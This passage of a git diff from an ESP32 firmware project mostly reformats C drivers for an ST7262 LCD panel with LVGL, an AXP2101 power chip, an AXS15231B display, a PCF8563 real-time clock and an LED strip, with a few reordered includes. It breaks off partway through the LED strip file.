ESP_RETURN_ON_ERROR(ret, TAG, "Failed to reset panel"); - - ret = esp_lcd_panel_init(rgb_panel_handle); - ESP_RETURN_ON_ERROR(ret, TAG, "Failed to initialize panel"); - - // Turn on the display - ret = esp_lcd_panel_disp_on_off(rgb_panel_handle, true); - - if (LCD_BACKLIGHT_GPIO != -1) - { - esp_rom_gpio_pad_select_gpio(2); - gpio_set_direction(2, GPIO_MODE_OUTPUT); - - gpio_set_level(2, 1); - } - ESP_LOGI(TAG, "ST7262 LCD panel initialized successfully"); + // Prepare RGB panel configuration with accurate timings + esp_lcd_rgb_panel_config_t panel_config = { + .clk_src = LCD_CLK_SRC_PLL160M, + .timings = + { + .pclk_hz = ClockFrequency * 1000 * + 1000, // Pixel clock frequency based on the typical 25 + // MHz from datasheet + .h_res = 800, + .v_res = 480, + .hsync_back_porch = 4, + .hsync_front_porch = 4, + .hsync_pulse_width = 2, + .vsync_back_porch = 4, + .vsync_front_porch = 4, + .vsync_pulse_width = 2, + .flags.pclk_active_neg = + true, // Use as per your display’s requirements + }, + .data_width = 16, + .psram_trans_align = 64, + .hsync_gpio_num = LCD_HSYNC_GPIO_NUM, + .vsync_gpio_num = LCD_VSYNC_GPIO_NUM, + .de_gpio_num = LCD_DE_GPIO_NUM, + .pclk_gpio_num = LCD_PCLK_GPIO_NUM, + .disp_gpio_num = LCD_DISP_GPIO_NUM, + .data_gpio_nums = + { + [0] = lcd_data_gpio_nums[0], + [1] = lcd_data_gpio_nums[1], + [2] = lcd_data_gpio_nums[2], + [3] = lcd_data_gpio_nums[3], + [4] = lcd_data_gpio_nums[4], + [5] = lcd_data_gpio_nums[5], + [6] = lcd_data_gpio_nums[6], + [7] = lcd_data_gpio_nums[7], + [8] = lcd_data_gpio_nums[8], + [9] = lcd_data_gpio_nums[9], + [10] = lcd_data_gpio_nums[10], + [11] = lcd_data_gpio_nums[11], + [12] = lcd_data_gpio_nums[12], + [13] = lcd_data_gpio_nums[13], + [14] = lcd_data_gpio_nums[14], + [15] = lcd_data_gpio_nums[15], + }, + .flags.fb_in_psram = true, + .num_fbs = 2, // Use double buffering + .bounce_buffer_size_px = 20 * 480, + }; + + // Create RGB panel + ret = esp_lcd_new_rgb_panel(&panel_config, &rgb_panel_handle); + ESP_RETURN_ON_ERROR(ret, TAG, "Failed to create RGB panel"); + + // Initialize the panel + ret = esp_lcd_panel_reset(rgb_panel_handle); + ESP_RETURN_ON_ERROR(ret, TAG, "Failed to reset panel"); + + ret = esp_lcd_panel_init(rgb_panel_handle); + ESP_RETURN_ON_ERROR(ret, TAG, "Failed to initialize panel"); + + // Turn on the display + ret = esp_lcd_panel_disp_on_off(rgb_panel_handle, true); + + if (LCD_BACKLIGHT_GPIO != -1) { + esp_rom_gpio_pad_select_gpio(2); + gpio_set_direction(2, GPIO_MODE_OUTPUT); + + gpio_set_level(2, 1); + } + ESP_LOGI(TAG, "ST7262 LCD panel initialized successfully"); #endif - return ESP_OK; + return ESP_OK; } -esp_err_t lcd_st7262_deinit(void) -{ - esp_err_t ret = ESP_OK; - - if (rgb_panel_handle) { - ret = esp_lcd_panel_del(rgb_panel_handle); - ESP_RETURN_ON_ERROR(ret, TAG, "Failed to delete panel"); - rgb_panel_handle = NULL; - } - - if (io_handle) { - ret = esp_lcd_panel_io_del(io_handle); - ESP_RETURN_ON_ERROR(ret, TAG, "Failed to delete panel IO"); - io_handle = NULL; - } - - ret = spi_bus_free(SPI2_HOST); - ESP_RETURN_ON_ERROR(ret, TAG, "Failed to free SPI bus"); - - // Delete semaphores - if (sem_vsync_end) { - vSemaphoreDelete(sem_vsync_end); - sem_vsync_end = NULL; - } - if (sem_gui_ready) { - vSemaphoreDelete(sem_gui_ready); - sem_gui_ready = NULL; - } - - ESP_LOGI(TAG, "ST7262 LCD panel deinitialized successfully"); - return ESP_OK; +esp_err_t lcd_st7262_deinit(void) { + esp_err_t ret = ESP_OK; + + if (rgb_panel_handle) { + ret = esp_lcd_panel_del(rgb_panel_handle); + ESP_RETURN_ON_ERROR(ret, TAG, "Failed to delete panel"); + rgb_panel_handle = NULL; + } + + if (io_handle) { + ret = esp_lcd_panel_io_del(io_handle); + ESP_RETURN_ON_ERROR(ret, TAG, "Failed to delete panel IO"); + io_handle = NULL; + } + + ret = spi_bus_free(SPI2_HOST); + ESP_RETURN_ON_ERROR(ret, TAG, "Failed to free SPI bus"); + + // Delete semaphores + if (sem_vsync_end) { + vSemaphoreDelete(sem_vsync_end); + sem_vsync_end = NULL; + } + if (sem_gui_ready) { + vSemaphoreDelete(sem_gui_ready); + sem_gui_ready = NULL; + } + + ESP_LOGI(TAG, "ST7262 LCD panel deinitialized successfully"); + return ESP_OK; } -esp_lcd_panel_handle_t lcd_st7262_get_panel_handle(void) -{ - return rgb_panel_handle; +esp_lcd_panel_handle_t lcd_st7262_get_panel_handle(void) { + return rgb_panel_handle; } -esp_err_t lcd_st7262_lvgl_init(void) -{ - if (rgb_panel_handle == NULL) { - ESP_LOGE(TAG, "Panel not initialized. Call lcd_st7262_init() first."); - return ESP_ERR_INVALID_STATE; - } - - // Initialize LVGL - lv_init(); - - // Create semaphores for synchronization - sem_vsync_end = xSemaphoreCreateBinary(); - if (sem_vsync_end == NULL) { - ESP_LOGE(TAG, "Failed to create sem_vsync_end"); - return ESP_ERR_NO_MEM; - } - - sem_gui_ready = xSemaphoreCreateBinary(); - if (sem_gui_ready == NULL) { - ESP_LOGE(TAG, "Failed to create sem_gui_ready"); - return ESP_ERR_NO_MEM; - } - - // Allocate LVGL display buffer - static lv_color_t *lvgl_disp_buf1 = NULL; - static lv_color_t *lvgl_disp_buf2 = NULL; - - // Allocate 3 full-frame buffers in SPIRAM - lvgl_disp_buf1 = heap_caps_malloc(800 * 480 * sizeof(lv_color_t), MALLOC_CAP_SPIRAM); - lvgl_disp_buf2 = heap_caps_malloc(800 * 480 * sizeof(lv_color_t), MALLOC_CAP_SPIRAM); - - if (lvgl_disp_buf1 == NULL || lvgl_disp_buf2 == NULL) { - ESP_LOGE(TAG, "Failed to allocate frame buffers"); - return ESP_ERR_NO_MEM; - } - - - static lv_disp_draw_buf_t draw_buf; - lv_disp_draw_buf_init(&draw_buf, lvgl_disp_buf1, lvgl_disp_buf2, 800 * 480); - - // Initialize LVGL display driver - lv_disp_drv_init(&disp_drv); - disp_drv.hor_res = 800; // Adjust based on your display resolution - disp_drv.ver_res = 480; - disp_drv.flush_cb = lcd_st7262_lvgl_flush_cb; - disp_drv.draw_buf = &draw_buf; - disp_drv.user_data = (void *)rgb_panel_handle; - disp_drv.full_refresh = false; // Enable full refresh mode for synchronization - - // Register the display driver with LVGL - lv_disp_drv_register(&disp_drv); - - ESP_LOGI(TAG, "LVGL initialized successfully"); - return ESP_OK; +esp_err_t lcd_st7262_lvgl_init(void) { + if (rgb_panel_handle == NULL) { + ESP_LOGE(TAG, "Panel not initialized. Call lcd_st7262_init() first."); + return ESP_ERR_INVALID_STATE; + } + + // Initialize LVGL + lv_init(); + + // Create semaphores for synchronization + sem_vsync_end = xSemaphoreCreateBinary(); + if (sem_vsync_end == NULL) { + ESP_LOGE(TAG, "Failed to create sem_vsync_end"); + return ESP_ERR_NO_MEM; + } + + sem_gui_ready = xSemaphoreCreateBinary(); + if (sem_gui_ready == NULL) { + ESP_LOGE(TAG, "Failed to create sem_gui_ready"); + return ESP_ERR_NO_MEM; + } + + // Allocate LVGL display buffer + static lv_color_t *lvgl_disp_buf1 = NULL; + static lv_color_t *lvgl_disp_buf2 = NULL; + + // Allocate 3 full-frame buffers in SPIRAM + lvgl_disp_buf1 = + heap_caps_malloc(800 * 480 * sizeof(lv_color_t), MALLOC_CAP_SPIRAM); + lvgl_disp_buf2 = + heap_caps_malloc(800 * 480 * sizeof(lv_color_t), MALLOC_CAP_SPIRAM); + + if (lvgl_disp_buf1 == NULL || lvgl_disp_buf2 == NULL) { + ESP_LOGE(TAG, "Failed to allocate frame buffers"); + return ESP_ERR_NO_MEM; + } + + static lv_disp_draw_buf_t draw_buf; + lv_disp_draw_buf_init(&draw_buf, lvgl_disp_buf1, lvgl_disp_buf2, 800 * 480); + + // Initialize LVGL display driver + lv_disp_drv_init(&disp_drv); + disp_drv.hor_res = 800; // Adjust based on your display resolution + disp_drv.ver_res = 480; + disp_drv.flush_cb = lcd_st7262_lvgl_flush_cb; + disp_drv.draw_buf = &draw_buf; + disp_drv.user_data = (void *)rgb_panel_handle; + disp_drv.full_refresh = false; // Enable full refresh mode for synchronization + + // Register the display driver with LVGL + lv_disp_drv_register(&disp_drv); + + ESP_LOGI(TAG, "LVGL initialized successfully"); + return ESP_OK; } #endif diff --git a/main/vendor/drivers/apx2102.c b/main/vendor/drivers/apx2102.c index 6d34b0c1..cf5ad659 100644 --- a/main/vendor/drivers/apx2102.c +++ b/main/vendor/drivers/apx2102.c @@ -1,5 +1,5 @@ -#include "vendor/drivers/axp2101.h" #include "driver/i2c.h" +#include "vendor/drivers/axp2101.h" #include #define BIT_MASK(bit) (1 << (bit)) @@ -11,166 +11,157 @@ bool i2c_initialized = false; #define AXP202_MODE_CHGSTATUS 0x01 bool axp202_is_battery_connected(void) { - if (!i2c_initialized) { - printf("ERROR [%s]: I2C is not initialized\n", __func__); - return false; - } - - uint8_t reg = 0; - uint8_t reg_addr = AXP202_MODE_CHGSTATUS; - - - esp_err_t err = i2c_master_write_to_device( - I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®_addr, 1, pdMS_TO_TICKS(100)); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to write register address 0x%02X: %s\n", - __func__, reg_addr, esp_err_to_name(err)); - return false; - } - - - err = i2c_master_read_from_device( - I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®, 1, pdMS_TO_TICKS(100)); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to read register 0x%02X: %s\n", - __func__, reg_addr, esp_err_to_name(err)); - return false; - } - - - bool battery_connected = IS_BIT_SET(reg, 5); - printf("INFO [%s]: Battery connection status: %s\n", __func__, - battery_connected ? "Connected" : "Not Connected"); - return battery_connected; + if (!i2c_initialized) { + printf("ERROR [%s]: I2C is not initialized\n", __func__); + return false; + } + + uint8_t reg = 0; + uint8_t reg_addr = AXP202_MODE_CHGSTATUS; + + esp_err_t err = i2c_master_write_to_device(I2C_MASTER_NUM, AXP2101_I2C_ADDR, + ®_addr, 1, pdMS_TO_TICKS(100)); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to write register address 0x%02X: %s\n", + __func__, reg_addr, esp_err_to_name(err)); + return false; + } + + err = i2c_master_read_from_device(I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®, 1, + pdMS_TO_TICKS(100)); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to read register 0x%02X: %s\n", __func__, + reg_addr, esp_err_to_name(err)); + return false; + } + + bool battery_connected = IS_BIT_SET(reg, 5); + printf("INFO [%s]: Battery connection status: %s\n", __func__, + battery_connected ? "Connected" : "Not Connected"); + return battery_connected; } bool axp202_is_charging(void) { - if (!i2c_initialized) { - printf("ERROR [%s]: I2C is not initialized\n", __func__); - return false; - } - - uint8_t reg = 0; - uint8_t reg_addr = AXP202_MODE_CHGSTATUS; - - - esp_err_t err = i2c_master_write_to_device( - I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®_addr, 1, pdMS_TO_TICKS(100)); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to write register address 0x%02X: %s\n", - __func__, reg_addr, esp_err_to_name(err)); - return false; - } - - - err = i2c_master_read_from_device( - I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®, 1, pdMS_TO_TICKS(100)); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to read register 0x%02X: %s\n", - __func__, reg_addr, esp_err_to_name(err)); - return false; - } - - - bool charging = IS_BIT_SET(reg, 6); - printf("INFO [%s]: Charging status: %s\n", __func__, - charging ? "Charging" : "Not Charging"); - return !charging; // for some reason this bool needs to be flipped + if (!i2c_initialized) { + printf("ERROR [%s]: I2C is not initialized\n", __func__); + return false; + } + + uint8_t reg = 0; + uint8_t reg_addr = AXP202_MODE_CHGSTATUS; + + esp_err_t err = i2c_master_write_to_device(I2C_MASTER_NUM, AXP2101_I2C_ADDR, + ®_addr, 1, pdMS_TO_TICKS(100)); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to write register address 0x%02X: %s\n", + __func__, reg_addr, esp_err_to_name(err)); + return false; + } + + err = i2c_master_read_from_device(I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®, 1, + pdMS_TO_TICKS(100)); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to read register 0x%02X: %s\n", __func__, + reg_addr, esp_err_to_name(err)); + return false; + } + + bool charging = IS_BIT_SET(reg, 6); + printf("INFO [%s]: Charging status: %s\n", __func__, + charging ? "Charging" : "Not Charging"); + return !charging; // for some reason this bool needs to be flipped } esp_err_t axp2101_init(void) { - if (i2c_initialized) { - printf("WARNING [%s]: AXP2101 is already initialized\n", __func__); - return ESP_OK; - } - - - i2c_config_t conf = { - .mode = I2C_MODE_MASTER, - .sda_io_num = I2C_MASTER_SDA_IO, - .scl_io_num = I2C_MASTER_SCL_IO, - .sda_pullup_en = GPIO_PULLUP_ENABLE, - .scl_pullup_en = GPIO_PULLUP_ENABLE, - .master.clk_speed = I2C_MASTER_FREQ_HZ, - .clk_flags = 0, - }; - - esp_err_t err = i2c_param_config(I2C_MASTER_NUM, &conf); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to configure I2C parameters: %s\n", - __func__, esp_err_to_name(err)); - return err; - } - - err = i2c_driver_install(I2C_MASTER_NUM, I2C_MODE_MASTER, 0, 0, 0); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to install I2C driver: %s\n", - __func__, esp_err_to_name(err)); - return err; - } - - i2c_initialized = true; - printf("INFO [%s]: AXP2101 initialized successfully\n", __func__); + if (i2c_initialized) { + printf("WARNING [%s]: AXP2101 is already initialized\n", __func__); return ESP_OK; + } + + i2c_config_t conf = { + .mode = I2C_MODE_MASTER, + .sda_io_num = I2C_MASTER_SDA_IO, + .scl_io_num = I2C_MASTER_SCL_IO, + .sda_pullup_en = GPIO_PULLUP_ENABLE, + .scl_pullup_en = GPIO_PULLUP_ENABLE, + .master.clk_speed = I2C_MASTER_FREQ_HZ, + .clk_flags = 0, + }; + + esp_err_t err = i2c_param_config(I2C_MASTER_NUM, &conf); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to configure I2C parameters: %s\n", __func__, + esp_err_to_name(err)); + return err; + } + + err = i2c_driver_install(I2C_MASTER_NUM, I2C_MODE_MASTER, 0, 0, 0); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to install I2C driver: %s\n", __func__, + esp_err_to_name(err)); + return err; + } + + i2c_initialized = true; + printf("INFO [%s]: AXP2101 initialized successfully\n", __func__); + return ESP_OK; } esp_err_t axp2101_deinit(void) { - if (!i2c_initialized) { - printf("WARNING [%s]: AXP2101 is not initialized\n", __func__); - return ESP_OK; - } - - esp_err_t err = i2c_driver_delete(I2C_MASTER_NUM); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to delete I2C driver: %s\n", - __func__, esp_err_to_name(err)); - return err; - } - - i2c_initialized = false; - printf("INFO [%s]: AXP2101 deinitialized successfully\n", __func__); + if (!i2c_initialized) { + printf("WARNING [%s]: AXP2101 is not initialized\n", __func__); return ESP_OK; + } + + esp_err_t err = i2c_driver_delete(I2C_MASTER_NUM); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to delete I2C driver: %s\n", __func__, + esp_err_to_name(err)); + return err; + } + + i2c_initialized = false; + printf("INFO [%s]: AXP2101 deinitialized successfully\n", __func__); + return ESP_OK; } -esp_err_t axp2101_get_power_level(uint8_t* power_level) { - if (!i2c_initialized) { - printf("ERROR [%s]: AXP2101 is not initialized\n", __func__); - return ESP_ERR_INVALID_STATE; - } - - if (power_level == NULL) { - printf("ERROR [%s]: Invalid parameter: power_level is NULL\n", __func__); - return ESP_ERR_INVALID_ARG; - } - - uint8_t reg_addr = AXP2101_REG_POWER_LEVEL; - uint8_t data = 0; - - - esp_err_t err = i2c_master_write_to_device( - I2C_MASTER_NUM, AXP2101_I2C_ADDR, ®_addr, 1, pdMS_TO_TICKS(100)); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to write to AXP2101 register 0x%02X: %s\n", - __func__, reg_addr, esp_err_to_name(err)); - return err; - } - - - err = i2c_master_read_from_device( - I2C_MASTER_NUM, AXP2101_I2C_ADDR, &data, 1, pdMS_TO_TICKS(100)); - if (err != ESP_OK) { - printf("ERROR [%s]: Failed to read from AXP2101 register 0x%02X: %s\n", - __func__, reg_addr, esp_err_to_name(err)); - return err; - } - - if (!(data & BIT_MASK(7))) { - *power_level = data & (~BIT_MASK(7)); - printf("INFO [%s]: Battery percentage: %d%%\n", __func__, *power_level); - return ESP_OK; - } else { - printf("WARNING [%s]: Battery percentage value is invalid (data: 0x%02X)\n", - __func__, data); - return ESP_ERR_INVALID_RESPONSE; - } +esp_err_t axp2101_get_power_level(uint8_t *power_level) { + if (!i2c_initialized) { + printf("ERROR [%s]: AXP2101 is not initialized\n", __func__); + return ESP_ERR_INVALID_STATE; + } + + if (power_level == NULL) { + printf("ERROR [%s]: Invalid parameter: power_level is NULL\n", __func__); + return ESP_ERR_INVALID_ARG; + } + + uint8_t reg_addr = AXP2101_REG_POWER_LEVEL; + uint8_t data = 0; + + esp_err_t err = i2c_master_write_to_device(I2C_MASTER_NUM, AXP2101_I2C_ADDR, + ®_addr, 1, pdMS_TO_TICKS(100)); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to write to AXP2101 register 0x%02X: %s\n", + __func__, reg_addr, esp_err_to_name(err)); + return err; + } + + err = i2c_master_read_from_device(I2C_MASTER_NUM, AXP2101_I2C_ADDR, &data, 1, + pdMS_TO_TICKS(100)); + if (err != ESP_OK) { + printf("ERROR [%s]: Failed to read from AXP2101 register 0x%02X: %s\n", + __func__, reg_addr, esp_err_to_name(err)); + return err; + } + + if (!(data & BIT_MASK(7))) { + *power_level = data & (~BIT_MASK(7)); + printf("INFO [%s]: Battery percentage: %d%%\n", __func__, *power_level); + return ESP_OK; + } else { + printf("WARNING [%s]: Battery percentage value is invalid (data: 0x%02X)\n", + __func__, data); + return ESP_ERR_INVALID_RESPONSE; + } } \ No newline at end of file diff --git a/main/vendor/drivers/axs15231b.c b/main/vendor/drivers/axs15231b.c index ef62c395..7aee0883 100644 --- a/main/vendor/drivers/axs15231b.c +++ b/main/vendor/drivers/axs15231b.c @@ -6,37 +6,36 @@ #include "esp_log.h" -#include #include +#include #define LVGL_PORT_ROTATION_DEGREE (90) static const char *TAG = "lcd_panel.axs15231b"; -esp_err_t lcd_axs15231b_init(void) -{ - esp_err_t ret = ESP_OK; +esp_err_t lcd_axs15231b_init(void) { + esp_err_t ret = ESP_OK; - ESP_LOGI(TAG, "Initializing axs15231b LCD panel"); + ESP_LOGI(TAG, "Initializing axs15231b LCD panel"); - bsp_display_cfg_t cfg = { - .lvgl_port_cfg = ESP_LVGL_PORT_INIT_CONFIG(), - .buffer_size = (EXAMPLE_LCD_QSPI_H_RES * EXAMPLE_LCD_QSPI_V_RES), + bsp_display_cfg_t cfg = { + .lvgl_port_cfg = ESP_LVGL_PORT_INIT_CONFIG(), + .buffer_size = (EXAMPLE_LCD_QSPI_H_RES * EXAMPLE_LCD_QSPI_V_RES), #if LVGL_PORT_ROTATION_DEGREE == 90 - .rotate = LV_DISP_ROT_90, + .rotate = LV_DISP_ROT_90, #elif LVGL_PORT_ROTATION_DEGREE == 270 - .rotate = LV_DISP_ROT_270, + .rotate = LV_DISP_ROT_270, #elif LVGL_PORT_ROTATION_DEGREE == 180 - .rotate = LV_DISP_ROT_180, + .rotate = LV_DISP_ROT_180, #elif LVGL_PORT_ROTATION_DEGREE == 0 - .rotate = LV_DISP_ROT_NONE, + .rotate = LV_DISP_ROT_NONE, #endif - }; + }; - bsp_display_start_with_config(&cfg); - bsp_display_backlight_on(); + bsp_display_start_with_config(&cfg); + bsp_display_backlight_on(); - return ret; + return ret; } #endif diff --git a/main/vendor/drivers/pcf8563.c b/main/vendor/drivers/pcf8563.c index 1e174c37..985ee470 100644 --- a/main/vendor/drivers/pcf8563.c +++ b/main/vendor/drivers/pcf8563.c @@ -8,92 +8,111 @@ static i2c_port_t pcf_i2c_port; static uint8_t pcf_address; static uint8_t _bcd_to_dec(uint8_t val) { - return ((val / 16 * 10) + (val % 16)); + return ((val / 16 * 10) + (val % 16)); } static uint8_t _dec_to_bcd(uint8_t val) { - return ((val / 10 * 16) + (val % 10)); + return ((val / 10 * 16) + (val % 10)); } esp_err_t pcf8563_init(i2c_port_t i2c_port, uint8_t addr) { - pcf_i2c_port = i2c_port; - pcf_address = addr; - return ESP_OK; + pcf_i2c_port = i2c_port; + pcf_address = addr; + return ESP_OK; } static esp_err_t _read_register(uint8_t reg, uint8_t *data, size_t len) { - return i2c_master_write_read_device(pcf_i2c_port, pcf_address, ®, 1, data, len, pdMS_TO_TICKS(1000)); + return i2c_master_write_read_device(pcf_i2c_port, pcf_address, ®, 1, data, + len, pdMS_TO_TICKS(1000)); } static esp_err_t _write_register(uint8_t reg, const uint8_t *data, size_t len) { - uint8_t buffer[1 + len]; - buffer[0] = reg; - memcpy(&buffer[1], data, len); - return i2c_master_write_to_device(pcf_i2c_port, pcf_address, buffer, sizeof(buffer), pdMS_TO_TICKS(1000)); + uint8_t buffer[1 + len]; + buffer[0] = reg; + memcpy(&buffer[1], data, len); + return i2c_master_write_to_device(pcf_i2c_port, pcf_address, buffer, + sizeof(buffer), pdMS_TO_TICKS(1000)); } esp_err_t pcf8563_set_datetime(const RTC_Date *datetime) { - uint8_t data[7]; - data[0] = _dec_to_bcd(datetime->second) & ~PCF8563_VOL_LOW_MASK; - data[1] = _dec_to_bcd(datetime->minute); - data[2] = _dec_to_bcd(datetime->hour); - data[3] = _dec_to_bcd(datetime->day); - data[4] = _dec_to_bcd(datetime->month) | ((datetime->year < 2000) ? PCF8563_CENTURY_MASK : 0); - data[5] = _dec_to_bcd(datetime->year % 100); - return _write_register(PCF8563_SEC_REG, data, 7); + uint8_t data[7]; + data[0] = _dec_to_bcd(datetime->second) & ~PCF8563_VOL_LOW_MASK; + data[1] = _dec_to_bcd(datetime->minute); + data[2] = _dec_to_bcd(datetime->hour); + data[3] = _dec_to_bcd(datetime->day); + data[4] = _dec_to_bcd(datetime->month) | + ((datetime->year < 2000) ? PCF8563_CENTURY_MASK : 0); + data[5] = _dec_to_bcd(datetime->year % 100); + return _write_register(PCF8563_SEC_REG, data, 7); } esp_err_t pcf8563_get_datetime(RTC_Date *datetime) { - uint8_t data[7]; - ESP_ERROR_CHECK(_read_register(PCF8563_SEC_REG, data, 7)); - - bool century = data[5] & PCF8563_CENTURY_MASK; - datetime->second = _bcd_to_dec(data[0] & ~PCF8563_VOL_LOW_MASK); - datetime->minute = _bcd_to_dec(data[1] & PCF8563_MINUTES_MASK); - datetime->hour = _bcd_to_dec(data[2] & PCF8563_HOUR_MASK); - datetime->day = _bcd_to_dec(data[3] & PCF8563_DAY_MASK); - datetime->month = _bcd_to_dec(data[4] & PCF8563_MONTH_MASK); - datetime->year = (century ? 1900 : 2000) + _bcd_to_dec(data[5]); - return ESP_OK; + uint8_t data[7]; + ESP_ERROR_CHECK(_read_register(PCF8563_SEC_REG, data, 7)); + + bool century = data[5] & PCF8563_CENTURY_MASK; + datetime->second = _bcd_to_dec(data[0] & ~PCF8563_VOL_LOW_MASK); + datetime->minute = _bcd_to_dec(data[1] & PCF8563_MINUTES_MASK); + datetime->hour = _bcd_to_dec(data[2] & PCF8563_HOUR_MASK); + datetime->day = _bcd_to_dec(data[3] & PCF8563_DAY_MASK); + datetime->month = _bcd_to_dec(data[4] & PCF8563_MONTH_MASK); + datetime->year = (century ? 1900 : 2000) + _bcd_to_dec(data[5]); + return ESP_OK; } esp_err_t pcf8563_set_alarm(const RTC_Alarm *alarm) { - uint8_t data[4]; - data[0] = (alarm->minute != 0xFF) ? _dec_to_bcd(alarm->minute) & ~PCF8563_VOL_LOW_MASK : PCF8563_VOL_LOW_MASK; - data[1] = (alarm->hour != 0xFF) ? _dec_to_bcd(alarm->hour) & ~PCF8563_VOL_LOW_MASK : PCF8563_VOL_LOW_MASK; - data[2] = (alarm->day != 0xFF) ? _dec_to_bcd(alarm->day) & ~PCF8563_VOL_LOW_MASK : PCF8563_VOL_LOW_MASK; - data[3] = (alarm->weekday != 0xFF) ? _dec_to_bcd(alarm->weekday) & ~PCF8563_VOL_LOW_MASK : PCF8563_VOL_LOW_MASK; - return _write_register(PCF8563_ALRM_MIN_REG, data, 4); + uint8_t data[4]; + data[0] = (alarm->minute != 0xFF) + ? _dec_to_bcd(alarm->minute) & ~PCF8563_VOL_LOW_MASK + : PCF8563_VOL_LOW_MASK; + data[1] = (alarm->hour != 0xFF) + ? _dec_to_bcd(alarm->hour) & ~PCF8563_VOL_LOW_MASK + : PCF8563_VOL_LOW_MASK; + data[2] = (alarm->day != 0xFF) + ? _dec_to_bcd(alarm->day) & ~PCF8563_VOL_LOW_MASK + : PCF8563_VOL_LOW_MASK; + data[3] = (alarm->weekday != 0xFF) + ? _dec_to_bcd(alarm->weekday) & ~PCF8563_VOL_LOW_MASK + : PCF8563_VOL_LOW_MASK; + return _write_register(PCF8563_ALRM_MIN_REG, data, 4); } esp_err_t pcf8563_get_alarm(RTC_Alarm *alarm) { - uint8_t data[4]; - ESP_ERROR_CHECK(_read_register(PCF8563_ALRM_MIN_REG, data, 4)); - - alarm->minute = (data[0] != PCF8563_VOL_LOW_MASK) ? _bcd_to_dec(data[0] & PCF8563_MINUTES_MASK) : 0xFF; - alarm->hour = (data[1] != PCF8563_VOL_LOW_MASK) ? _bcd_to_dec(data[1] & PCF8563_HOUR_MASK) : 0xFF; - alarm->day = (data[2] != PCF8563_VOL_LOW_MASK) ? _bcd_to_dec(data[2] & PCF8563_DAY_MASK) : 0xFF; - alarm->weekday = (data[3] != PCF8563_VOL_LOW_MASK) ? _bcd_to_dec(data[3] & PCF8563_WEEKDAY_MASK) : 0xFF; - return ESP_OK; + uint8_t data[4]; + ESP_ERROR_CHECK(_read_register(PCF8563_ALRM_MIN_REG, data, 4)); + + alarm->minute = (data[0] != PCF8563_VOL_LOW_MASK) + ? _bcd_to_dec(data[0] & PCF8563_MINUTES_MASK) + : 0xFF; + alarm->hour = (data[1] != PCF8563_VOL_LOW_MASK) + ? _bcd_to_dec(data[1] & PCF8563_HOUR_MASK) + : 0xFF; + alarm->day = (data[2] != PCF8563_VOL_LOW_MASK) + ? _bcd_to_dec(data[2] & PCF8563_DAY_MASK) + : 0xFF; + alarm->weekday = (data[3] != PCF8563_VOL_LOW_MASK) + ? _bcd_to_dec(data[3] & PCF8563_WEEKDAY_MASK) + : 0xFF; + return ESP_OK; } esp_err_t pcf8563_enable_alarm() { - uint8_t data; - ESP_ERROR_CHECK(_read_register(PCF8563_STAT2_REG, &data, 1)); - data |= (1 << 1); - return _write_register(PCF8563_STAT2_REG, &data, 1); + uint8_t data; + ESP_ERROR_CHECK(_read_register(PCF8563_STAT2_REG, &data, 1)); + data |= (1 << 1); + return _write_register(PCF8563_STAT2_REG, &data, 1); } esp_err_t pcf8563_disable_alarm() { - uint8_t data; - ESP_ERROR_CHECK(_read_register(PCF8563_STAT2_REG, &data, 1)); - data &= ~(1 << 1); - return _write_register(PCF8563_STAT2_REG, &data, 1); + uint8_t data; + ESP_ERROR_CHECK(_read_register(PCF8563_STAT2_REG, &data, 1)); + data &= ~(1 << 1); + return _write_register(PCF8563_STAT2_REG, &data, 1); } esp_err_t pcf8563_check_voltage_low(bool *voltage_low) { - uint8_t data; - ESP_ERROR_CHECK(_read_register(PCF8563_SEC_REG, &data, 1)); - *voltage_low = data & PCF8563_VOL_LOW_MASK; - return ESP_OK; + uint8_t data; + ESP_ERROR_CHECK(_read_register(PCF8563_SEC_REG, &data, 1)); + *voltage_low = data & PCF8563_VOL_LOW_MASK; + return ESP_OK; } \ No newline at end of file diff --git a/main/vendor/led/led_strip_api.c b/main/vendor/led/led_strip_api.c index 9657979c..a56dbed5 100644 --- a/main/vendor/led/led_strip_api.c +++ b/main/vendor/led/led_strip_api.c @@ -3,92 +3,91 @@ * * SPDX-License-Identifier: Apache-2.0 */ -#include "esp_log.h" #include "esp_check.h" +#include "esp_log.h" #include "vendor/led/led_strip.h" #include "vendor/led/led_strip_interface.h" static const char *TAG = "led_strip"; -esp_err_t led_strip_set_pixel(led_strip_handle_t strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue) -{ - ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); - return strip->set_pixel(strip, index, red, green, blue); +esp_err_t led_strip_set_pixel(led_strip_handle_t strip, uint32_t index, + uint32_t red, uint32_t green, uint32_t blue) { + ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); + return strip->set_pixel(strip, index, red, green, blue); } -esp_err_t led_strip_set_pixel_hsv(led_strip_handle_t strip, uint32_t index, uint16_t hue, uint8_t saturation, uint8_t value) -{ - ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); +esp_err_t led_strip_set_pixel_hsv(led_strip_handle_t strip, uint32_t index, + uint16_t hue, uint8_t saturation, + uint8_t value) { + ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); - uint32_t red = 0; - uint32_t green = 0; - uint32_t blue = 0; + uint32_t red = 0; + uint32_t green = 0; + uint32_t blue = 0; 